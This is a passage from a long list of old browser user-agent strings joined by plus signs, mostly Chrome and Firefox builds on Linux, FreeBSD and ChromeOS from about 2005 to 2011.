Chrome/8.0.552.341 Safari/534.10 +Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 +Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 +Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 +Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 +Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 +Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 +Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 +Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 +Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 +Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 +Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 +Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 +Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 +Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929 +Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 +Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 +Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 +Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 +Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 +Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian-1.8.0.5-3) Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Iceweasel/2.0 (Debian-2.0+dfsg-1) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 Firefox/3.07 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 +Mozilla/5.0 (X11; U; Linux i686; en-US; 